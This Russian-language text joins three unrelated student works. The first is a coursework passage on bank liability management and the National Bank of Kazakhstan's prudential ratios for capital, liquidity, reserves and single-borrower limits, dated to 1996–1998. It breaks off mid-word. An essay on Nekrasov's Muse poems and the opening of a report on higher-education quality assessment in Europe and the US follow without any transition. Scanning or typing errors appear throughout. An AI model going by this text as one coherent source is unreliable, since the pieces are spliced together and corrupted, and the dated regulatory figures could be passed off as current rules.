Деятельность коммерческих банков заключается в привлечении денег (в основном вкладчиков) и предоставлении их в ссуду либо инвестировании по более высоким ставкам. Это деятельность финансового учреждения, выступающего посредником между теми, кто располагает средствами в виде сбережений, и теми, кто в них нуждается. Операции по предоставлению ссуд тем, кто обладает высокой кредитоспособностью, и инвестированию в высококачественные ценные бумаги менее прибыльны по сравнению с операциями нефинансовых корпораций. Поэтому, чтобы обеспечить прибыль акционерам, необходим намного больший оборот, чем позволяют собственные средства.

В последние годы банки прибегают к обширным займам для обеспечения своей ликвидности. Такие займы стали называть управлением пассивами. Расширение масштабов использования заемных средств обусловлено увеличением спроса на банковские кредиты и относительно медленным ростом вкладов до востребования в последние годы. Усиление экономической активности и повышение темпов инфляции означали рост потребности хозяйственных фирм в кредите. Кроме того, как фирмы, так и частные лица стали более чувствительны к процентным ставкам, в связи с которыми, как уже указывалось, замедлился прирост вкладов до востребования. Увеличение расходов побудило банки более полно использовать свои ресурсы. Это привело к росту коэффициента ссуды/депозиты по сравнению с прошлыми годами.

В следствии этого, в банках время от времени возрастает потребность в средствах. В международной практике эту временную потребность банки удовлетворяют с помощью межбанковских кредитов, резервных фондов, сделок РЕПО или займов на рынке евродолларов.

Межбанковские кредиты

Получение займа у Центрального банка или банка-корреспондента — это один из методов мобилизации средств для корректировки состояния резервов (а следовательно, и ликвидности), иногда называемый также методом “учетного окна” (discount window). Хотя этот метод выравнивания резервов не получил большого распространения, такие займы контролируются Центральным банком.

Получение займа у Центрального банка рассматривается как привилегия, а не право. Центральный банк нельзя считать надежным и постоянным источником средств. Срок, на который берется заем, зависит от многих факторов, например финансового положения банка, получающего заем, и состояния экономики.

Резервные фонды

Приобретение резервных фондов – один из самых распространенных методов использования кредита для целей обеспечения ликвидности. Эти Фонды представляют собой депозитные остатки, хранимые на счетах в Центральном банке. В результате неожиданного притока вкладов или сокращения ссуд у коммерческих банков могут образоваться избыточные резервы. А так как эти средства не приносят дохода, банки охотно предоставляют их на короткое время в распоряжение других банков; те же банки, которые нуждаются в средствах для восстановления обязательного объема резервов или приобретения активов, охотно покупают эти излишки.

Однодневные операции с резервными фондами по своей сути являются необеспеченными ссудами. Иногда сделка принимает форму соглашения об обратном выкупе, если один банк продает другому государственные ценные бумаги. Такие сделки обычно заключаются на один день, но по некоторым срок платежа может составлять неделю или даже несколько недель. Механика операций с резервными фондами довольно проста. При типичной необеспеченной сделке два банка договариваются о ее условиях: банк-продавец предлагает Центральному банку перечислить обусловленную сумму со своего резервного счета на резервный счет банка-покупателя. На следующий день при открытии банка происходит обратная сделка. Проценты уплачиваются обычно отдельным чеком.

Соглашения об обратном выкупе

В дополнение к межбанковским операциям с резервными фондами аналогичные сделки имеют место между банками и дилерами по государственным ценным бумагам, а также другими инвесторами. Эти сделки называются соглашениями об обратном выкупе (repurchase agreements — RP) или просто “репо”. При такой сделке продажа активов производится на условиях обратного выкупа в установленный день и по заранее согласованной цене. Подобного рода соглашения стали важным каналом для временно свободных средств, так как их легко приспособить к нуждам обеих сторон. Они могут заключаться на срок от одного дня до нескольких месяцев, но большей частью – на короткий срок. Преимуществом “репо” является невысокий риск, ибо они обычно обеспечиваются государственными ценными бумагами. “Репо” – отличное средство выравнивания резервов банка. Когда банк продает активы с обязательством выкупить их обратно, платеж производится либо путем дебетования депозитного счета покупателя, либо чеком, выписанным на другой банк. В первом случае уменьшаются обязательные резервы банка, при получении же чека у банка-продавца возникает право на резервы банка, на который выписан чек. Хотя обычно объектом такой сделки служат ценные бумаги, им могут быть также ссуды.

Займы на рынке евродолларов

Получение займа на рынке евродолларов – это инструмент управления пассивами, доступный крупным коммерческим банкам, и пользуются им банки, как имеющие заграничные филиалы, так и не имеющие их. Евродоллары можно определить следующим образом. Это – вклады, выраженные в долларах США и хранящиеся в коммерческих банках, которые находятся за пределами США, включая филиалы американских банков. Евродоллары образуются, когда американский или иностранный вкладчик банка США переводит средства в заграничный банк или филиал американского банка. В результате указанной операции владение вкладом в США переходит к заграничному финансовому учреждению, а у последнего возникает обязательство, подлежащее погашению в долларах США. В этом случае совокупные банковские вклады в США остаются неизменными, но за границей появляется новое депозитное обязательство в долларах США – евродоллары.

Значительная часть займов в евродолларах выражается в увеличении обязательств американских банков перед своими заграничными филиалами, причем 75% займов приходится на филиалы крупнейших нью-йоркских учреждений. Европейские банки и филиалы, принимающие эти депозиты, уплачивают владельцам проценты по ставкам, которые обычно превышают ставки на денежном рынке США, и ссужают деньги американским и иностранным фирмам, а также банкам США. Когда коммерческие банки не в состоянии привлечь внутри страны средства, достаточные для удовлетворения спроса на кредит, они обращаются за недостающими ресурсами на рынок евродолларов. Чаще всего к этому источнику прибегают в периоды, когда у банков наблюдалось сокращение или лишь небольшое увеличение суммы передаваемых срочных депозитных сертификатов.

2. Управление платежеспособностью и регулирование деятельности коммерческого банка Национальным банком

2.1. Теория управления платежеспособностью

Также как и в управлении ликвидностью в управлении платежеспособностью различают несколько теорий.

По первой теории

ликвидность банка лежит в основе его платежеспособности. Платежеспособность трактуется как способность банка в должные сроки и в полной сумме отвечать по своим обязательствам. Однако она зависит не только от ликвидности баланса, но и от ряда других факторов. К их числу относятся: политическая и экономическая ситуация в стране или регионе, состояние денежного рынка, возможность рефинансирования в Национальном банке, развитие рынка ценных бумаг, наличие и совершенство залогового и банковского законодательства, обеспеченность собственным капиталом банка, надежность клиентов и банков-партнеров, уровень менеджмента в банке, специализация и разнообразие банковских услуг данного кредитного учреждения и других факторов. Одновременно указанные факторы влияют прямо или косвенно на ликвидность баланса банка, а также находятся в определенной взаимосвязи друг с другом. Сказанное можно проиллюстрировать в виде рисунка (см. рис. №5).

По второй теории

под платежеспособностью понимают надежность, то есть способность в любой ситуации на рынке, а не в соответствии с наступающими сроками платежей выполнять взятые на себя обязательства.

Надежность банка зависит от множества различных факторов. Условно их можно разделить на внешние и внутренние.

Ко внешним относятся факторы, обусловленные воздействием внешней среды на банк, то есть факторы, определяющие состояние финансового рынка, национальной и мировой экономики, политический климат в стране, а также форс-мажорные обстоятельства.

Ко внутренним относятся факторы, обусловленные профессиональным уровнем персонала, в том числе высшего, и уровнем контроля за проводимыми банком операциями.

Вероятность неблагоприятного влияния конкретных факторов или их комбинации на надежность банка характеризуется рисками.

Под риском понимается угроза потери части своих ресурсов, недополучение доходов или произведение дополнительных расходов в результате проведения финансовых операций (размер возможных потерь определяет уровень рискованности этих операций). Риски появляются в результате несоответствия прогнозов реально развивающимся событиям.

Риски очень сложно классифицировать по факторам, их вызывающим, так как их проявлению способствует воздействие совокупности различных как внешних, так и внутренних факторов. Например, причиной роста риска ликвидности может быть не только невозможность оперативного привлечения денежных ресурсов на межбанковском рынке, но и ошибки в планировании, некомпетентность персонала, низкое качество кредитного портфеля (угроза невозврата большой доли выданных кредитов).

Приведенные факторы могут стать причиной возникновения следующих наиболее распространенных банковских рисков:

риск ликвидности;

процентный риск;

кредитный риск;

рыночный риск;

политический риск;

валютный риск;

риск изменения конъюнктуры рынка;

страновой риск;

риск форс-мажорных обстоятельств.

Коммерческие банки управляют своей платежеспособностью при помощи методов распознавания, оценки и контролирования риска потери ликвидности и платежеспособности.

2.2. Функции Национального банка Республики Казахстан, направленные на поддержание платежеспособности банковской системы

Центральные банки стран рыночной экономики регулируют платежеспособность коммерческих банков посредством установления ограничений обязательств банка, предела задолженности одного заемщика, введения особого контроля за выдачей крупных кредитов, создания системы рефинансирования коммерческих банков и обязательного резервирование части привлеченных средств, проведения процентной политики и осуществления операций с ценными бумагами на открытом рынке. В настоящее время в нашей стране также регулируется платежеспособность коммерческих банков.

Национальный банк РК выполняет роль главного координирующего и регулирующего органа денежно-кредитной системы Казахстана. Одной из основных целей его деятельности является обеспечение эффективной и стабильной работы всей банковской системы. В связи с этим на НБ РК возложен ряд функций:

разработка и проведение кредитно-денежной политики;

регулирование денежного обращения;

регулирование деятельности кредитных организаций и осуществление контроля за ними;

осуществление безналичных расчетов в общенациональном масштабе;

организация валютного регулирования;

хранение золотовалютных резервов страны.

Для их выполнения НБ РК использует следующие инструменты и методы:

установление правил, регламентирующих деятельность кредитных организаций;

осуществление надзора за деятельностью кредитных организаций;

установление и осуществление контроля за соблюдением обязательных экономических нормативов кредитными организациями; В установление резервных требований;

рефинансирование кредитных организаций;

проведение дисконтной политики;

проведение операций на открытом рынке;

осуществление валютных интервенций.

Для поддержания надежности банковской системы Центральным банком активно используются все перечисленные выше инструменты.

Как уже отмечалось раньше, одной из основных функций НБ является надзор за деятельностью коммерческих банков, таким образом, регулирование их платежеспособности. В успешном решении этой задачи большую роль играет система оценки финансового состояния банка. Такая оценка базируется на:

расчете обязательных нормативов;

анализе общей финансовой отчетности.

Как правило, в текущей работе подразделений НБ эти системы оценок используются комплексно. Информационной базой для анализа служат данные балансов банка, отчетов о прибылях и убытках, оборотные ведомости по балансовым счетам, общая финансовая, данные о выполнении установленных экономических нормативов, расшифровки дебиторско-кредиторской задолженности, другие формы отчетности и имеющаяся информация о деятельности данного коммерческого банка (вплоть до публикаций в печатных изданиях). Так как основным синтезирующим источником информации о деятельности коммерческого банка является баланс.

В ходе анализа баланса определяются специализация деятельности банка, состояние ликвидности, доходности и степени рискованности отдельных банковских операций.

Анализ упомянутых выше форм отчетности и другой имеющейся информации о деятельности банка производится:

в динамике на ряд отчетных дат в сравнении с началом года и другими отчетными датами за период, не менее одного года;

в сравнении с показателями деятельности других банков региона, имеющих примерно одинаковый размер уставного фонда, собственных средств (капитала).

Пруденциальные нормативы Национального банка Республики Казахстан

Настоящим Положением, в соответствии со статьей 42 Указа Президента Республики Казахстан, имеющего силу закона, “О банках и банковской деятельности в Республике Казахстан” устанавливаются обязательные к соблюдению банками второго уровня (кроме государственных и межгосударственных) пруденциальные нормативы.

Норматив достаточности капитала коммерческого банка Управление достаточностью капитала

1. Собственные средства (собственный капитал банка, К) состоят(ит) из двух уровней. Капитал второго уровня берется в расчет собственного капитала в сумме, не превышающей капитал первого уровня.

2. Капитал первого уровня (К1) включает следующие компоненты:

оплаченный уставной фонд;

премии по акциям;

фонды, резервы и нераспределенная прибыль прошлого года;

минус:

нематериальные активы,

убытки;

превышение текущих расходов над доходами;

несформированные провизии;

износ МБП.

3. Капитал второго уровня (КII) включает следующие компоненты:

прибыль текущего года

превышение текущих доходов над текущими расходами

переоценка основных средств и ценных бумаг;

общие резервы (сформированные провизии по стандартным, нестандартным и неудовлетворительным кредитам) в сумме, не превышающей 1,25% суммы активов, взвешенных с учетом риска;

субординированный срочный долг в сумме, не превышающей 50% суммы капитала первого уровня.

Субординированный долг — это необеспеченное обязательство банка, не являющееся депозитом, которое согласно юридически оформленным договорам погашается в последнюю очередь при ликвидации банка.

Включаемый в капитал второго уровня субординированный срочный долг должен иметь первоначальный срок погашения не менее 5 лет, причем в каждом году из последних пяти лет из расчета капитала исключается 20% первоначальной суммы субординированного долга.

4. Из собственного капитала вычитается всякое участие банка в собственном капитале других юридических лиц,

5. Достаточность собственных средств (собственного капитала) характеризуется двумя коэффициентами. отношением собственного капитала первого уровня к сумме активов
банка (k1) и отношением собственного капитала к сумме активов, взвешенных по степени риска (k2).

6. Отношение собственного капитала банка первого уровня к сумме всех его активов должно быть не менее 0,04:

К1 — собственный капитал первого уровня, рассчитываемый согласно пунктам 2, 4.

А — сумма активов, равная валюте баланса за вычетом остатков по счетам: 015, 034, 091(А), 094(A), 661(A), 664(A), 917(A), 941, 97, 98(А), 224, 239, 629, 668, 719, 735, 781, 945, 059, 819.

П — сформированные резервы (провизии) согласно Положению “О классификации ссудного портфеля и порядке формирования резервов (провизий) для покрытия убытков от кредитной деятельности банками второго уровня Республики Казахстан”.

7. Отношение собственного капитала банка к сумме его активов, взвешенных по степени риска должно быть не менее 0,08:

К — собственный капитал, рассчитываемый согласно пунктам 2 — 4 настоящего Положения.

Ар сумма активов, взвешенных по степени риска.

Пc — специальные резервы (сформированные провизии по сомнительным и убыточным кредитам) плюс сумма сформированных общих резервов, невключенная в собственный капитал (т.е. превышающая 1,25 суммы активов, взвешенных с учетом риска).

По степени риска вложений активы классифицируются следующим образом:

Степень риска

1 группа

Касса и приравненные к ней средства

0

Драгоценные металлы

0

Средства на счетах в банках и клиринговых палатах

0

Средства в фонде регулирования кредитных ресурсов

0

Государственные ценные бумаги

0

Кредиты под залог наличных денежных средств в тенге и иностранной валюте, государственных ценных бумаг, аффинированных драгоценных металлов и золотых монет

0

Кредиты, предоставленные Правительству Республики Казахстан

0

Кредиты под гарантию Правительства Республики Казахстан

0

2 группа

Дебиторы по операциям с драгоценными металлами

1

Депозиты в тенге, размещенные в других банках

1

Средства на счетах в банках

1

Дебиторы по аккредитивам по иностранным операциям

1

Учтенные векселя в портфеле банка

1

Кредиты, предоставленные другим банкам

1

Временная финансовая помощь, предоставляемая учреждениям банков

1

Кредиты под гарантию банков

1

Вексельные кредиты

1

Предоставленный финансовый лизинг

1

Счета хозрасчетных и нехозрасчетных предприятий и организаций банков

1

Расчеты по прочим иностранным операциям

1

Дебиторы по выданным гарантиям и акцептам

1

Здания, сооружения и другие основные и оборотные фонды банка

1

Прочие кредиты юридическим и физическим лицам (в том числе обеспеченные залогом имущества) за вычетом вышеуказанных

1

Просроченная задолженность

1

Финансирование капитальных вложений

1

Суммы, не взысканные по банковским гарантиям

1

Прочие активы

1

Внебалансовые статьи по степени риска классифицируются следующим образом:

Гарантии и поручительства банка, выданные под встречные гарантии и поручительства правительства

0

Документы и ценности, отосланные на инкассо

0,2

Аккредитивы к оплате, аккредитивы в иностранной валюте

0,2

Гарантии, поручительства, выданные банкам

1

Норматив ликвидности коммерческого банка

В целях контроля за ликвидностью, банки должны составлять таблицу сравнения сроков активов и обязательств, причем для каждого актива (обязательства) берется наименьший срок, по истечении которого банк имеет право требовать исполнения обязательств дебиторов и корреспондентов (кредиторы и депозиторы банка имеют право требовать исполнения обязательств банком) Таким образом, в графу “до востребования” должна быть включена сумма следующих активов и обязательств.

Активы:

наличные денежные средства;

быстрореализуемые активы.

Обязательства:

расчетные, текущие счета юридических лиц;

средства государственного бюджета и государственных фондов;

счета лоро;

счета до востребования физических лиц;

другие обязательства до востребования.

Коэффициент текущей ликвидности (k4) — это отношение суммы наличных денежных средств и быстрореализуемых активов к сумме обязательств до востребования, которое должно составлять не менее 0,2.

Если банк имеет просроченные обязательства перед своими кредиторами и депозиторами, банк считается не выполнившим норматив ликвидности, независимо от выполнения им коэффициента текущей ликвидности.

Норматив минимальных размеров обязательных резервов

С 1 сентября 1996 года “Положение о минимальных резервных требованиях” введено в действие. Минимальные резервные требования теперь равны 15% от всех депозитных обязательств физических и юридических лиц.

Резервные активы состоят из

средств на корсчете в Нацбанке в тенге за вычетом средств, перечисленных до выяснения (кредит 902), выделенных, но не доведенных до клиента централизованных кредитов;

наличности в кассе банка в тенге и СКВ;

средств на корсчете в Нацбанке в СКВ;

золото в сумме не более 20% всех резервных активов;

Существуют два способа размещения резервных требований:

Размещение средств в резервных активах в течении отчетного месяца таким образом, чтобы среднемесячная сумма этих активов была не менее среднемесячной величины резервных требований, которые рассчитываются как 15% от среднего арифметического суммы депозитных обязательств в тенге и иностранной валюте, взятых за каждый рабочий день отчетного месяца.

Депонирование средств в Нацбанке на счете 815 “Фонд для регулирования кредитных ресурсов банковской системы” и резервном счете в СКВ до 8 числа каждого месяца, так, чтобы сумма остатков по указанным счетам была равна 15% от депозитных обязательств на первый рабочий день месяца. Сумма средств, подлежащих депонированию в СКВ рассчитывается банком на основе консолидированного баланса согласно приложению №3.

Минимальный размер уставного фонда

Минимальный размер уставного фонда устанавливается Правлением Национального Банка.

Минимальный размер уставного фонда в Республике Казахстан составляет 200 млн. тенге для депозитных банков и 300 млн. тенге для инвестиционных банков.

Максимальный размер риска на одного заемщика

Размер риска на одного заемщика, в том числе банка (Р), рассчитывается как совокупная задолженность одного заемщика банка по ссудам, факторингу и предоставленному финансовому лизингу плюс сумма забалансовых обязательств, выданных в отношении одного заемщика минус сумма обеспечения по обязательствам заемщика в виде наличных денежных средств, государственных ценных бумаг и гарантий Правительства Республики Казахстан.

Отношение размера риска на одного клиента по его обязательствам к собственному капиталу банка (k3 = Р/К) не должно превышать:

для всех клиентов банка — 0,25,

для лиц, связанных с банком особыми отношениями — 0,10

Сумма рисков по клиентам, связанным с банком особыми отношениями, не должна превышать размера собственного капитала банка.

Максимальный размер инвестиций банка в основные средства и другие нефинансовые активы

k5 = И/К < 0,5

где И — инвестиции в основные средства;

К — собственный капитал банка

Значение этого норматива установлено довести:

до 1 декабря 1997 года — £ 1,5;

до 1 декабря 1998 года — £ 1,0.

2.3. Управление надежностью коммерческого банка

Система коэффициентов оценки финансового состояния коммерческого банка

Необходимость создания методики сравнительного анализа работы коммерческих банков объясняется дальнейшим развитием казахстанского рынка финансовых и, конкретно, банковских услуг. Разработка методики, ее открытое обсуждение и внедрение системы сбора и обработки данных призваны создать информационное поле, необходимое не только аналитическим группам самих банков, но и в первую очередь участниками рынка – акционерам и клиентам банков, поскольку “точная” информация о состоянии коммерческих банков, собираемая Национальным банком Республики Казахстан, сейчас является закрытой, а потребности в ее интегральной обработке и публикации Нацбанк пока еще не испытывает. (Западная цивилизация давно уже осознала эту необходимость, для примера можно обратиться в такие американские издания, как Federal Reserve Bulletin).

Важным условием для разработки методики анализа является ее основа на действующем национальном плане счетов, отражающем исторически сложившиеся условия существования банковской системы. Проводимая сейчас Национальным банком работа по приближению казахстанских норм учета к международным стандартам скорее переносит “западные” стандарты учета на реальности казахстанской практики, чем ведет к детальной проработке имеющихся стандартов на основе складывающихся рыночных условий, введения принципиально новых видов банковских услуг и все более качественных различий в банковских операциях, отражающихся на одном и том же счете.

Для полноценного анализа деятельности любого коммерческого банка необходимо вывести критерии, позволяющие в первую очередь оценить эффективность его работы, под которой понимается умение поддерживать баланс между достаточной надежностью банковских операций и его высокой рентабельностью. Для этого предлагается провести исследование результатов работы банка отдельно по каждой из характеристик: уровень ликвидности, уровень надежности и уровень рентабельности. Каждое значение является результатом обработки данных балансовых отчетов коммерческих банков, предварительно объединенных в несколько коэффициентов, и приведенных к виду, достаточному для сравнения и анализа.

Следует признать, что абсолютная величина любого актива или пассива (или их групп) может мало что сказать о действительном финансовом положении банка. Бытующему заблуждению “Большой банк – надежный банк” с профессиональной точки зрения противостоит тезис “Большой банк – большие долги”, Экономическая история знает немало примеров сенсационных банкротств самых, казалось бы, крупных финансовых институтов – дело не в размерах, а в пропорциях.

Разумеется, на уровнях, начинающих чувствовать границы финансового рынка (т. е. слишком маленький или чрезвычайно большой банк) величина размера начинает оказывать свое специфическое влияние, но в настоящем исследовании мы не будем касаться рассмотрения этих феноменов, а будем оперировать в интервале, интересном с практической точки зрения, т. е. в “интервале подавляющего большинства случаев”. А здесь роль играют не размеры, а пропорции.

Группировка счетов

В этом подразделе приведены алгоритмы сбора данных по группам, как сумм остатков по соответствующим счетам второго порядка баланса коммерческого банка на фиксированную дату, которые необходимы для расчета итоговых величин. Активные и пассивные средства объединены в соответствующие группы, однородные по происхождению либо по качеству размещения и соответствующие проведенной в предыдущем разделе классификации.

Уставный фонд коммерческого банка УФ = (сч. 010) + дооценка валютных вкладов учредителей — собственные акции, выкупленные у учредителей.

Прочие фонды ПФ = резервный фонд банка + специальные фонды банка + доходы будущих периодов — расходы будущих периодов — прочие дебиторы.

Текущая прибыль банка — размер полученной банком в отчетном году прибыли после уплаты налогов П.

Обязательства до востребования ОВ = остаток средств на расчетных и текущих счетах + средства в расчетах + прочие пассивы.

Суммарные обязательства банка СО = ОВ + вклады и депозиты + полученные межбанковские кредиты.

Ликвидные активы ЛА = тенговые и валютные средства на корсчетах банка + наличные деньги в кассе и в пути + резервы в Нацбанке + вложения в краткосрочные облигации госзайма.

Активы работающие АР = суммарные выданные (тенговые и валютные) ссуды, включая просроченные средства + вложения в ценные бумаги + средства для участия в хозяйственной деятельности других организаций + средства банка для сдачи в аренду — лизинг + расчет по факторинговым операциям.

Валюта баланса ВБ.

Защищенный капитал банка ЗК = основные средства банка + активные остатки по счетам капитальных вложений + драгоценные металлы.

Сумма краткосрочных депозитов КД .

Сумма долгосрочных депозитов ДД.

Сумма выданных краткосрочных кредитов и вложений КК.

Сумма выданных долгосрочных кредитов и вложений ДК.

Выданные кредиты с обеспечением КсО.

Выданные кредиты без обеспечения КбО.

При расчете величины выданных кредитов необходимо также учитывать забалансовые обязательства банка по предоставленным гарантиям.

Собственные средства СС (собственный капитал К) = уставный фонд + специальные фонды + прибыль банка + страховые резервы + доходы банка.

Срочные обязательства СрО = срочные депозиты + межбанковские кредиты.

Выданные средства ВС = краткосрочные ссуды + долгосрочные ссуды + ссуды гражданам + межбанковские кредиты + просроченная задолженность.

Высокорисковые вложения ВВ = ценные бумаги + участие в хозяйственной деятельности других организаций + факторинг + лизинг.

Капитальные вложения КВ.

Собственные средства — нетто = СС — КВ — расходы будущих периодов — отвлеченные средства за счет прибыли банка — расходы банка — переоценка валютных средств.

Система коэффициентов

В соответствии с приведенной выше классификацией выпишем три группы коэффициентов (ликвидность, надежность и рентабельность) являющихся отношениями между различными группами активов и пассивов и наиболее важными для анализа финансового положения банка.

Для выявления тонких эффектов балансовой структуры применяется расчет 21 коэффициента, по 7 коэффициентов по каждой анализируемой характеристике. Мы приведем здесь полный перечень всех коэффициентов с некоторыми комментариями, а затем изложим более подробно вариант методики итогового расчета для коэффициентов надежности.

Все приведенные коэффициенты подобраны таким образом, чтобы их увеличение однозначно улучшало общую характеристику. Безусловно, предполагается, что для возможности сравнения результатов данные должны собираться на одну дату.

При расчете коэффициентов будет участвовать полный капитал банка, который рассчитывается из приведенных параметров

К= УФ + ПФ + П

Коэффициенты ликвидности

l1 = ЛА/СО “Степенной”

l2 = ЛА/ВБ “Показательный”

l3 = ЛА/ОВ “Мгновенный”

l4 = СО/АР “Кросс-коэффициент”

l5 = (ЛА + ЗК)/СО “Генеральный”

l6 – Коэффициент ликвидного качества портфеля

l7 – Коэффициент срочной ликвидности

Коэффициенты надежности

t1 = К/СО “Степенной”

t2 = ВБ/АР “Показательный”

t3 = ЗК/К Коэффициент защиты капитала

t4 = СО/АР “Кросс-коэффициент”

t5 = К/АР “Генеральный”

t6 – “Коэффициент обеспечения кредитных операций”

t7 – Коэффициент диверсификации работающих активов

Коэффициенты рентабельности

r1 = П/СО “Степенной”

r2 = П/ВБ “Показательный”

r3 – “Коэффициент капитализации прибыли”

(комплиментарная пара)

r4 = АР/СО “Кросс-коэффициент”

r5 = П/К “Генеральный”

r6 – “Коэффициент эффективности операций”

r7 – “Коэффициент эффективности затрат”

Коэффициент ликвидного качества портфеля считается как КК/ДК, срочная ликвидность оценивается как функция f(Кi/Дi по срокам).

Коэффициент обеспечения кредитных операций – это КсО/КбО.

Диверсификация работающих активов предполагает анализ вклада каждого типа работающих активов в общий портфель.

Комплиментарная пара при анализе рентабельности (П/УФ для открытых АО, К/УФ для закрытых обществ и товариществ) отражает различие в выборе политики для банков-акционерных обществ или открытого или закрытого типа. В первом случае определяющим для банка является величина прибыльности на одну акцию и, соответственно, способность выплачивать дивиденды. Во втором – способность 6анка увеличивать собственный капитал на минимальном уставном фонде.

Введение кросс-коэффициента рентабельности, обратного по величине кросс-коэффициенту ликвидности и надежности отражает существующее противоречие между целями банковской политики и невозможностью одновременного достижения как максимальной ликвидности, так и максимальной рентабельности.

“Коэффициент эффективности операций” рассчитывается как функция f(Пi/АРi) по каждому типу работающих активов, “коэффициент эффективности затрат” – это функция f(Дoxi/Рaci) по каждому виду банковской деятельности.

Шестой и седьмой коэффициенты в каждой группе следует называть “аудиторскими”,
т. к. их численные значения можно установить только в ходе детального изучения банковских документов, тогда как первый – пятый коэффициенты каждой группы являются “простыми” и рассчитываются по знамениям сальдового баланса по счетам второго порядка, а для оценки, с известной степенью точности, могут быть получены из балансов, которые банки далеко не периодично, но все же публикуют в печати в рекламных и иных целях.

Итоговый интегральный коэффициент по каждой категории получается путем сложения всех коэффициентов по этой категории, приведенных к одному масштабу величин и взвешенных с учетов представления о том, какое влияние на общую характеристику исследуемой категории вносит данный коэффициент и каким он должен быть у “идеального” банка.

Изложение методики на примере упрощенного анализа финансовой надежности коммерческого банка

Подобная методика оценки финансового состояния банков, работающая с полным набором приведенных коэффициентов (матрицей Кij = 7´ 3), обладает двумя, на наш взгляд, существенными недостатками:

а) концептуально и математически она достаточно сложна,

б) как инструмент исследования она не вполне адекватна бухгалтерской практике, т.к. тонкие эффекты и зависимости, которые она призвана оценивать, сейчас просто не отражаются действующей системой бухгалтерского учета. Так, например, степенные и показательные коэффициенты в каждой группе при подстановке в итоговую формулу выглядят чуть ли не пропорциональными, каковыми, разумеется, не являют

Сочинение: «Сестра твоя родная!»

«Сестра твоя родная!»

Николай Алексеевич Некрасов — поэт необыкновенно широкой палитры тем и сюжетов. Нет такого явления в жизни, на которое бы не откликнулся Николай Алексеевич. Поэт не искал легких путей в жизни и творчестве, а шел навстречу своей нелегкой судьбе с открытыми сердцем и душой. Оттого и стихи его поразительно ярки, безыскусны, наполнены драматизмом происходящего.

Сама жизнь шагнула в его творчество, наполнив его многообразием происходящих процессов и явлений. Поэт не отделяет себя от героев, он счастлив их радостями, а яше печалится их горю и потерям. У какого другого поэта вы встретите Музу» — не прекрасную вдохновительницу его трудов мечтаний, а истерзанную и избитую, сродни простолюдинке.

Вчерашний день, часу в шестом,

Зашел я на Сенную;

Там били женщину кнутом,

Крестьянку молодую.

Ни звука из ее груди,

Лишь бич свистал, играя…

И Музе я сказал: «Гляди!

Сестра твоя родная!»

В стихотворении «Музы» поэт вспоминает и признается, что никогда не видел пред собой «музы ласково поющей и прекрасной», зовущей к неге и любви, но всегда униженно просящей за убогих и сирых, обездоленных и голодных. Мало благ приносила автору такая поэзия, изматывала его душу и сердце, но не мог он иначе. Поэт жил среди народных скорбен и несчастий и откликался на них своим творчеством. Оттого и снискал славу «народного поэта», справедливого певца, заступающегося за слабых и обиженных.

На смертном одре поэт огорчался, что мало успел сделать доброго в этой жизни, совершил много ошибок, но никогда не делал людям зла сознательно, не отворачивался от людских проблем, он не всесилен, простой земной и смертный человек, которому свойственны заблуждения, и за них Николай Алексеевич кается в своем творчестве.

О, муза! Я у двери гроба!

Пускай я много виноват,

Пусть увеличит во сто крат

Мои вины людская злоба.—

Не плачь! Завиден жребий наш,

Не надругаются над нами:

Меж мной и честными сердцами

Порваться долго ты не дашь

Живому, кровному союзу!

Не русский — взглянет без любви

На эту бледную, в крови,

Кнутом иссеченную музу…

Диву даешься, как много поэт сделал в то страшное время, когда довелось ему жить. Теряя друзей и соратников, ошибался, но никогда не сходил с намеченного пути, не отказывался от высокой цели. И горько Некрасову, что годы прошли в бесплодной борьбе, не приблизив его к желанной цели. Но это его самооценка. Мы же, его почитатели — потомки, прекрасно видим вклад поэта в общее дело освобождения народа от пут рабства. Не будь таких самоотверженных и смелых людей, неизвестно, как бы все развернулось. Вклад Некрасова в русскую культуру, литературу, освобождение народа огромен, его невозможно переоценить.

Список литературы

Для подготовки данной работы были использованы материалы с сайта http://ilib.ru/

Реферат: Сравнительный обзор международного опыта оценки качества высшего образования

Сравнительный обзор международного опыта оценки качества высшего образования

1. Особенности систем оценки высшего образования в странах Европы и Америке

Мировое разнообразие систем оценки высшего образования в 90-е годы и в начале 2000-х годов может быть, с определенной долей условности, разделено на два типа:

1. Система оценки высшего образования в тех странах, где имеются соответствующие государственные структуры, регулирующие развитие высшей школы, например, Министерства образования, Министерства просвещения и т.д. В этих случаях система оценки базируется на приоритете государственных органов, или структур, финансируемых правительством. При этом самооценке придается номинальное значение, а основные усилия прилагаются к проведению эффективной внешней оценки государственными органами, либо общественными организациями. Такие системы оценок часто связаны с правительственным контролем, лицензированием, государственной аккредитацией, сравнением различных высших учебных заведений, распределением финансовых ресурсов и оказанием влияния на университеты.

2. Система оценки высшего образования, принятая в тех странах, где, по существу, органов государственного управления высшим образованием (в европейском смысле) нет. В этом случае, преобладает процесс самооценки высших учебных заведений, либо профессиональная, либо общественная оценки, направленные на внутренний анализ, на улучшение деятельности университетов.

В широком плане, исторически, к странам, имеющим органы государственного управления высшей школой, относятся европейские страны (Германия, Франция, а также страны СНГ, воспринявшие европейские традиции высшего образования). А к странам, где преобладает процесс саморегуляции высшего образования, относятся, в первую очередь, США, а также те страны, которые стали следовать американским образцам высшей школы (Филиппины, Тайвань).

Основное отличие европейских систем оценки высшего образования от американской заключается в полномочиях правительства, в формулировке целей оценки, в определении наиболее важных аспектов оценки, в способах принятия решений и, наконец, в самой организации образовательного процесса. В странах с централизованной системой образования функции оценки, аккредитации осуществляют соответствующие государственные ведомства.

В Германии, например, где Министерство просвещения, регулирующее деятельность высших учебных заведений, существует с ХIХ века, весьма сильны традиции государственного контроля за высшей школой, а сами профессора и преподаватели являются государственными служащими.

Во Франции за образовательную политику отвечает Министерство народного образования, научных исследований и технологий. Однако деятельность высших учебных заведений оценивается Национальным экспертным комитетом, который создан по закону о высшем образовании и существует с 1984 года. Главная задача данного комитета заключается в оценке деятельности высших учебных заведений. Этот национальный орган контроля и оценки высшего образования, подчиняется только Президенту и не зависит ни от каких управленческих структур. Экспертный Комитет регулярно собирает информацию о деятельности высших учебных заведений и ежегодно направляет Президенту отчет о своей работе и о положении дел в сфере высшей школы. Важно то, что во Франции результаты университетских проверок и оценок широко публикуются и дают возможность не только государству, но и обществу судить об академическом уровне того или иного высшего учебного заведения. Данный механизм отражает исторически сложившуюся централизованную систему французского высшего образования.

